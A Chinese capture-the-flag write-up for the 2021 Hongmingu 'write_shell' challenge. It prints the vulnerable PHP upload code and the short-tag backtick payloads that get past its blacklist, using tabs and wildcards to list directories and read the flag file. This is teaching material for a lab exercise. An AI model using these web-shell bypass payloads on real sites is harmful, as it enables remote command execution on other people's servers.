BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??
Posted Aninock
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??相关的知识,希望对你有一定的参考价值。
<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/\'| |_|php|;|~|\\\\^|\\\\+|eval|{|}/i",$input)){ // if(preg_match("/\'| |_|=|php/",$input)){ die(\'hacker!!!\'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = \'sandbox/\' . md5($_SERVER[\'REMOTE_ADDR\']) . \'/\'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case \'pwd\': echo $dir; break; case \'upload\': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
代码审计
check是个 黑名单过滤
waf是调用check对数组检测
最后是get传参,传入action的值有两种情况,
传入pwd打印目录
action=pwd
action=upload
可以上传data到index.php
思路很简单了上传一句话木马即可
正则过滤了:“/\'| |_|php|;|~|\\\\^|\\\\+|eval|{|}/i"
<?=`ls`?>
看上去过滤很多实际上不是什么都没过滤吗。。。
这里访问pwd下的路径
<?=`ls%09/`?>
<?=`cat%09/f*`?>
本质上是个简单题目
实际上准备写一道存储式xss,但是死活收不到cookie,环境貌似有问题
先随便找了到300人的题目,但是没想到这么简单
但是还是总结一下吧,首先过滤了php,短标签即可
<?=***?>
空格过滤了%09啥的都可以绕过
至于目标文件文件名带空格,不能用%09,通配符绕过
另外一个小知识点:
a?b:c 三目运算符,没啥好说的
a?:b a为真返回 否则返回b
a??b a存在(不为null)返回a,否则返回b
以上是关于BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??的主要内容,如果未能解决你的问题,请参考以下文章
BUUCTF-[红明谷CTF 2021]write_shell
BUUCTF-[红明谷CTF 2021]write_shell
Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)
Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)